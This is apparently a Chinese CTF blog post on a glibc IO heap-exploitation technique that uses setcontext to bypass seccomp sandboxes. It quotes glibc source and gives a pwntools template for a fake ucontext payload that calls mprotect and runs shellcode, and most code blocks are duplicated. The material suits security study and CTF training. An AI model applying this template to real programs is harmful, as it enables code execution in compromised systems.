-
-
[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千
-
发表于: 2023-2-10 12:09 24776
-
感谢团队师傅的分享,本来这一篇我是不想公开的。
沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。
setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdx。setcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。

setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdx,rdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp。
以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx。
当然,还可以使用mov rdx,[rdi+8];mov [rsp],rax;call [rdx+x]这种 magic_gadget 来绕过沙盒,因为每个版本的gadget并不完全相同,所以这也不是长久之计。
因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?
研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。
显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。
以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
从ucontext函数族中可以看到存在ucontext类型的结构体,也就是传入setcontext的rdi。这个结构体如下。
在setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。
这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。
这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。结构体如下。
有关数据设置和传统利用setcontext+53时一样即可。
这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0。
这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0
喜闻乐见的抄板子时间又到了。根据上面setcontext分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53一样的攻击效果。假设,没有禁用mprotect,只有一次的largebin_attack的情况来攻击IO,模板如下。
我们以2022强网拟态决赛_vpn为例(题目内部附件叫:pminote_mc)。题目虽然使用了llvm进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。
题目存在UAF,并且只能malloc5次。题目的唯一难度是是在显示程序上,他使用如下操作
也就是说即使能够简单执行system(heap),由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")。

那么此时我们的攻击思路是
需要说明的是由于题目没有seccomp,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下
这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext的通用解决方案,结合EOP使用。
就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶是很难有绕过沙盒的方法,但如果和house_of_一骑当千结合使用,沙盒绕过将是易如反掌。
同理,其他IO板子绝大部分都能够与house_of_一骑当千配合使用,一通百通,就不再赘述。
int_IO_switch_to_wget_mode (FILE *fp)
{ // 编译器在处理这一段时使用 rdx
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}int_IO_switch_to_wget_mode (FILE *fp)
{ // 编译器在处理这一段时使用 rdx
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
int getcontext(ucontext_t *ucp);
int setcontext(const ucontext_t *ucp)
void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);
int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
int getcontext(ucontext_t *ucp);
int setcontext(const ucontext_t *ucp)
void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);
int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
ENTRY(__setcontext) /* Save argument since syscall will destroy it. */
pushq %rdi
cfi_adjust_cfa_offset(8)
/* Set the signal mask with
rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8). */
leaq oSIGMASK(%rdi), %rsi
xorl %edx, %edx
movl $SIG_SETMASK, %edi
movl $_NSIG8,%r10d
movl $__NR_rt_sigprocmask, %eax
syscall
/* Pop the pointer into RDX. The choice is arbitrary, but
leaving RDI and RSI available for use later can avoid
shuffling values. */
popq %rdx # 这是就是 rdi 向 rdx转换的关键。
cfi_adjust_cfa_offset(-8)
cmpq $-4095, %rax /* Check %rax for error. */
jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */
/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
ldmxcsr oMXCSR(%rdx)
/* Load the new stack pointer, the preserved registers and
registers used for passing args. */
cfi_def_cfa(%rdx, 0)
cfi_offset(%rbx,oRBX)
cfi_offset(%rbp,oRBP)
cfi_offset(%r12,oR12)
cfi_offset(%r13,oR13)
cfi_offset(%r14,oR14)
cfi_offset(%r15,oR15)
cfi_offset(%rsp,oRSP)
cfi_offset(%rip,oRIP)
/* 这里往下就是 setcontext+61 的地方*/
movq oRSP(%rdx), %rsp
movq oRBX(%rdx), %rbx
movq oRBP(%rdx), %rbp
movq oR12(%rdx), %r12
movq oR13(%rdx), %r13
movq oR14(%rdx), %r14
movq oR15(%rdx), %r15
#if SHSTK_ENABLED /* Check if shadow stack is enabled. */
testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET
jz L(no_shstk)
/* If the base of the target shadow stack is the same as the
base of the current shadow stack, we unwind the shadow
stack. Otherwise it is a stack switch and we look for a
restore token. */
movq oSSP(%rdx), %rsi
movq %rsi, %rdi
/* Get the base of the target shadow stack. */
movq (oSSP + 8)(%rdx), %rcx
cmpq %fs:SSP_BASE_OFFSET, %rcx
je L(unwind_shadow_stack)
L(find_restore_token_loop): /* Look for a restore token. */
movq -8(%rsi), %rax
andq $-8, %rax
cmpq %rsi, %rax
je L(restore_shadow_stack)
/* Try the next slot. */
subq $8, %rsi
jmp L(find_restore_token_loop)
L(restore_shadow_stack): /* Pop return address from the shadow stack since setcontext
will not return. */
movq $1, %rax
incsspq %rax
/* Use the restore stoken to restore the target shadow stack. */
rstorssp -8(%rsi)
/* Save the restore token on the old shadow stack. NB: This
restore token may be checked by setcontext or swapcontext
later. */
saveprevssp
/* Record the new shadow stack base that was switched to. */
movq (oSSP + 8)(%rdx), %rax
movq %rax, %fs:SSP_BASE_OFFSET
L(unwind_shadow_stack): rdsspq %rcx
subq %rdi, %rcx
je L(skip_unwind_shadow_stack)
negq %rcx
shrq $3, %rcx
movl $255, %esi
L(loop): cmpq %rsi, %rcx
cmovb %rcx, %rsi
incsspq %rsi
subq %rsi, %rcx
ja L(loop)
L(skip_unwind_shadow_stack): movq oRSI(%rdx), %rsi
movq oRDI(%rdx), %rdi
movq oRCX(%rdx), %rcx
movq oR8(%rdx), %r8
movq oR9(%rdx), %r9
/* Get the return address set with getcontext. */
movq oRIP(%rdx), %r10
/* Setup finally %rdx. */
movq oRDX(%rdx), %rdx
/* Check if return address is valid for the case when setcontext
is invoked from __start_context with linked context. */
rdsspq %rax
cmpq (%rax), %r10
/* Clear RAX to indicate success. NB: Don't use xorl to keep
EFLAGS for jne. */
movl $0, %eax
jne L(jmp)
/* Return to the new context if return address valid. */
pushq %r10
ret
L(jmp): /* Jump to the new context directly. */
jmp *%r10
L(no_shstk):#endif /* The following ret should return to the address set with
getcontext. Therefore push the address on the stack. */
movq oRIP(%rdx), %rcx
pushq %rcx
movq oRSI(%rdx), %rsi
movq oRDI(%rdx), %rdi
movq oRCX(%rdx), %rcx
movq oR8(%rdx), %r8
movq oR9(%rdx), %r9
/* Setup finally %rdx. */
movq oRDX(%rdx), %rdx
/* End FDE here, we fall into another context. */
cfi_endproc
cfi_startproc
/* Clear rax to indicate success. */
xorl %eax, %eax
ret
PSEUDO_END(__setcontext)weak_alias (__setcontext, setcontext)ENTRY(__setcontext) /* Save argument since syscall will destroy it. */
pushq %rdi
cfi_adjust_cfa_offset(8)
/* Set the signal mask with
rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8). */
leaq oSIGMASK(%rdi), %rsi
xorl %edx, %edx
movl $SIG_SETMASK, %edi
movl $_NSIG8,%r10d
movl $__NR_rt_sigprocmask, %eax
syscall
/* Pop the pointer into RDX. The choice is arbitrary, but
leaving RDI and RSI available for use later can avoid
shuffling values. */
popq %rdx # 这是就是 rdi 向 rdx转换的关键。
cfi_adjust_cfa_offset(-8)
cmpq $-4095, %rax /* Check %rax for error. */
jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */
/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
ldmxcsr oMXCSR(%rdx)
/* Load the new stack pointer, the preserved registers and
registers used for passing args. */
cfi_def_cfa(%rdx, 0)
cfi_offset(%rbx,oRBX)
cfi_offset(%rbp,oRBP)
cfi_offset(%r12,oR12)
cfi_offset(%r13,oR13)
cfi_offset(%r14,oR14)
cfi_offset(%r15,oR15)
cfi_offset(%rsp,oRSP)
cfi_offset(%rip,oRIP)
/* 这里往下就是 setcontext+61 的地方*/
movq oRSP(%rdx), %rsp
movq oRBX(%rdx), %rbx
movq oRBP(%rdx), %rbp
movq oR12(%rdx), %r12
movq oR13(%rdx), %r13
movq oR14(%rdx), %r14
movq oR15(%rdx), %r15
#if SHSTK_ENABLED /* Check if shadow stack is enabled. */
testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET
jz L(no_shstk)
/* If the base of the target shadow stack is the same as the
base of the current shadow stack, we unwind the shadow
stack. Otherwise it is a stack switch and we look for a
restore token. */
movq oSSP(%rdx), %rsi
movq %rsi, %rdi
/* Get the base of the target shadow stack. */
movq (oSSP + 8)(%rdx), %rcx
cmpq %fs:SSP_BASE_OFFSET, %rcx
je L(unwind_shadow_stack)
L(find_restore_token_loop): /* Look for a restore token. */
movq -8(%rsi), %rax
andq $-8, %rax
cmpq %rsi, %rax
je L(restore_shadow_stack)
/* Try the next slot. */
subq $8, %rsi
jmp L(find_restore_token_loop)
L(restore_shadow_stack): /* Pop return address from the shadow stack since setcontext
will not return. */
movq $1, %rax
incsspq %rax
/* Use the restore stoken to restore the target shadow stack. */
rstorssp -8(%rsi)
/* Save the restore token on the old shadow stack. NB: This
restore token may be checked by setcontext or swapcontext
later. */
saveprevssp
/* Record the new shadow stack base that was switched to. */
movq (oSSP + 8)(%rdx), %rax
movq %rax, %fs:SSP_BASE_OFFSET
L(unwind_shadow_stack): rdsspq %rcx
subq %rdi, %rcx
je L(skip_unwind_shadow_stack)
negq %rcx
shrq $3, %rcx
movl $255, %esi
L(loop): cmpq %rsi, %rcx
cmovb %rcx, %rsi
incsspq %rsi
subq %rsi, %rcx
ja L(loop)
L(skip_unwind_shadow_stack): movq oRSI(%rdx), %rsi
movq oRDI(%rdx), %rdi
movq oRCX(%rdx), %rcx
movq oR8(%rdx), %r8
movq oR9(%rdx), %r9
/* Get the return address set with getcontext. */
movq oRIP(%rdx), %r10
/* Setup finally %rdx. */
movq oRDX(%rdx), %rdx
/* Check if return address is valid for the case when setcontext
is invoked from __start_context with linked context. */
rdsspq %rax
cmpq (%rax), %r10
/* Clear RAX to indicate success. NB: Don't use xorl to keep
EFLAGS for jne. */
movl $0, %eax
jne L(jmp)
/* Return to the new context if return address valid. */
pushq %r10
ret
L(jmp): /* Jump to the new context directly. */
jmp *%r10
L(no_shstk):#endif /* The following ret should return to the address set with
getcontext. Therefore push the address on the stack. */
movq oRIP(%rdx), %rcx
pushq %rcx
movq oRSI(%rdx), %rsi
movq oRDI(%rdx), %rdi
movq oRCX(%rdx), %rcx
movq oR8(%rdx), %r8
movq oR9(%rdx), %r9
/* Setup finally %rdx. */
movq oRDX(%rdx), %rdx
/* End FDE here, we fall into another context. */
cfi_endproc
cfi_startproc
/* Clear rax to indicate success. */
xorl %eax, %eax
ret
PSEUDO_END(__setcontext)weak_alias (__setcontext, setcontext)typedef struct ucontext_t {
unsigned long int __ctx(uc_flags); // 1个字长
struct ucontext_t *uc_link;//1个字长
stack_t uc_stack; //3个字长
mcontext_t uc_mcontext; //操作部分1
sigset_t uc_sigmask; //操作部分2
struct _libc_fpstate __fpregs_mem; //操作部分3
__extension__ unsigned long long int __ssp[4];//操作部分4
} ucontext_t;
typedef struct ucontext_t {
unsigned long int __ctx(uc_flags); // 1个字长
struct ucontext_t *uc_link;//1个字长
stack_t uc_stack; //3个字长
mcontext_t uc_mcontext; //操作部分1
sigset_t uc_sigmask; //操作部分2
struct _libc_fpstate __fpregs_mem; //操作部分3
__extension__ unsigned long long int __ssp[4];//操作部分4
} ucontext_t;
typedef struct {
gregset_t __ctx(gregs);
/* Note that fpregs is a pointer. */
fpregset_t __ctx(fpregs);
__extension__ unsigned long long __reserved1 [8];
} mcontext_t;typedef struct {
gregset_t __ctx(gregs);
/* Note that fpregs is a pointer. */
fpregset_t __ctx(fpregs);
__extension__ unsigned long long __reserved1 [8];
} mcontext_t;typedef greg_t gregset_t[__NGREG];#ifdef __USE_GNU/* Number of each register in the `gregset_t' array. */
enum{ REG_R8 = 0,
# define REG_R8 REG_R8 REG_R9,
# define REG_R9 REG_R9 REG_R10,
# define REG_R10 REG_R10 REG_R11,
# define REG_R11 REG_R11 REG_R12,
# define REG_R12 REG_R12 REG_R13,
# define REG_R13 REG_R13 REG_R14,
# define REG_R14 REG_R14 REG_R15,
# define REG_R15 REG_R15 REG_RDI,
# define REG_RDI REG_RDI REG_RSI,
# define REG_RSI REG_RSI REG_RBP,
# define REG_RBP REG_RBP REG_RBX,
# define REG_RBX REG_RBX REG_RDX,
# define REG_RDX REG_RDX REG_RAX,
# define REG_RAX REG_RAX REG_RCX,
# define REG_RCX REG_RCX REG_RSP,
# define REG_RSP REG_RSP REG_RIP,
# define REG_RIP REG_RIP REG_EFL,
# define REG_EFL REG_EFL REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */
# define REG_CSGSFS REG_CSGSFS REG_ERR,
# define REG_ERR REG_ERR REG_TRAPNO,
# define REG_TRAPNO REG_TRAPNO REG_OLDMASK,
# define REG_OLDMASK REG_OLDMASK REG_CR2
# define REG_CR2 REG_CR2};#endiftypedef greg_t gregset_t[__NGREG];#ifdef __USE_GNU/* Number of each register in the `gregset_t' array. */
enum{ REG_R8 = 0,
# define REG_R8 REG_R8 REG_R9,
# define REG_R9 REG_R9 REG_R10,
# define REG_R10 REG_R10 REG_R11,
# define REG_R11 REG_R11 REG_R12,
# define REG_R12 REG_R12 REG_R13,
# define REG_R13 REG_R13 REG_R14,
# define REG_R14 REG_R14 REG_R15,
# define REG_R15 REG_R15 REG_RDI,
# define REG_RDI REG_RDI REG_RSI,
# define REG_RSI REG_RSI REG_RBP,
# define REG_RBP REG_RBP REG_RBX,
# define REG_RBX REG_RBX REG_RDX,
# define REG_RDX REG_RDX REG_RAX,
# define REG_RAX REG_RAX REG_RCX,
# define REG_RCX REG_RCX REG_RSP,
# define REG_RSP REG_RSP REG_RIP,
# define REG_RIP REG_RIP REG_EFL,
# define REG_EFL REG_EFL REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */
# define REG_CSGSFS REG_CSGSFS REG_ERR,
# define REG_ERR REG_ERR REG_TRAPNO,
# define REG_TRAPNO REG_TRAPNO REG_OLDMASK,
# define REG_OLDMASK REG_OLDMASK REG_CR2
# define REG_CR2 REG_CR2};#endif/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
ldmxcsr oMXCSR(%rdx)
ldmxcsr oMXCSR(%rdx)
ucontext =b''
ucontext += p64(0)*5
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址padding = fake_io_file
payload_start_addr = fake_io_addr
# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = payload_start_addr + 0x2e8 + 0x10
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext))) # 0xe8
'''ucontext = ucontext.ljust(0x128,b'\x00')# 加载信号量 ,好像全是0也行 ,0x10个字长ucontext += p64(0)*0x10# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)ucontext =ucontext.ljust(0x1c0,b'\x00')# ucontext += p64(0x1f80) # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行'''# payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始payload = padding + ucontext
# 0x2e8 与 __rsp相呼应print("IO_FILE len is",hex(len(payload)))
# 自己写 shellcodeshellcode = """
"""# largbin_attak 时需要 + 0x10payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)
payload += bytes(asm(shellcode))
ucontext =b''
ucontext += p64(0)*5
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址padding = fake_io_file
payload_start_addr = fake_io_addr
# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = payload_start_addr + 0x2e8 + 0x10
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext))) # 0xe8
'''ucontext = ucontext.ljust(0x128,b'\x00')# 加载信号量 ,好像全是0也行 ,0x10个字长ucontext += p64(0)*0x10# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]反序列化的前生今世 10751
- [原创]gdb在逆向爆破中的应用 4235
- [原创]EOP编程 12160
- [原创]格式化字符串打出没有回头路(下)——回头望月 49925
- [原创]格式化字符串打出没有回头路(上) 21420